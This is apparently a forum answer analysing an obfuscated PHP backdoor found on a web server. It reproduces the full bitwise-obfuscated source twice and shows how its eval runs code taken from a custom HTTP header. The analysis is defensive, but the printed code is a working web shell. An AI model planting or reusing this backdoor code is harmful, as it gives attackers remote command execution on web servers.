Malware analysis is fun!
I have not done this with PHP before, but let's see what we can do.
First, I want to format it correctly. I found an online tool called PHP beautifier which does this nicely.
Output is now:
<?php
$nkIL3_ = 'Hn' & ~hTzup;
$TTCpX = 'HEr@D@(DEi&' | 'HD"AN`(eT$I.';
$fGZGQD2 = l5fg . '{3Ht&d~' & '|,' . /*'.
'gri*/
Nenwkf . '|3n';
$u4avG3 = 'K|P' ^ ".<t";
$n9s = 'om|wo~' & 'om}e~~';
$cX8W = 'O]P' ^ //gg_'.
'#9e';
$iPPiO = '%' . q6nfB | sUuI . ')6';
$pU9KRba5mS = 'Ov~' & 'x]U';
$pGocQU = P & P;
'GDQNB1wL' . ']lYd2GC]o';
$SEAp9cm9 = _a & _M;
$CBiIA = iUVv_Z_UR_OOwCIP_iO & '^' . vTY_ . '|' . /*RKGtqf6J'.
'Zc*/
_Wu_DEVOcx_I . '}';
$QjgmVTedxc = "M@" | AE;
$oyL1tNw = 'j3x s' ^ '.' . l9l6;
$gI_Y = //Rsx'.
',)' ^ '~}';
$pai4hk = $TTCpX | $fGZGQD2;
$KaQhBHF8 = $u4avG3 | $cX8W;
$Hz = $n9s & $iPPiO;
'jH2' . '5r';
$JeFqqp = (' ' . bb3ra5 . '`14@#$11t&7G4-' . Bb6y . ')% 92E ' | '5gB9@!!qS%2B0%8W0!fC' . 'X&v-' . Z16w0 . '$u4') & ("VOW@F.H^N0f*/" . CkOjFNlm . "&}Y|6EOA)VH" ^ '()9}' . rMw1 . //udQP_'.
'}ET]' . QtTxUq . '([YHM.@D2p:Si<');
if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS . /yPL33m'.
'Y,:(gnZ~9/
$pGocQU . $SEAp9cm9)) , $JeFqqp)) eval($Hz($CBiIA . $QjgmVTedxc . /X1lpmOJ'.
'|-$J/
$oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-Jgj.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';
This is quick and dirty, but on the 4th last line, you will see an eval function.
We inspect the variables to this in an online php editor, by adding print statements. I am running this code on an
online php editor:
...snip...
if (!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS .$pGocQU . $SEAp9cm9)) , $JeFqqp)) {
print($Hz);
print($CBiIA);
print($QjgmVTedxc);
print($oyL1tNw);
print($gI_Y);
eval($Hz($CBiIA . $QjgmVTedxc . /*X1lpmOJ'.'|-$J*/ $oyL1tNw . $gI_Y)); //d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
'}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';
}
...snip...
I am not able to get all the values correctly, possibly because I am not running the script as intended (browser).
I am however able to determine that the eval function does the following:
eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT ...));
This is a strong indication that this script is a backdoor, allowing the attacker to run commands on your web server by adding the commands in the http header HTTP_X_UP_DEVCAP_IMMED_ALERT.
getenv(HTTP_A)
andgetenv(HTTP_X_UP_DEVCAP_IMMED_ALERT)
. As this is all the script uses, you will see exactly what and how the attackers do. – Tokk Aug 25 '14 at 09:01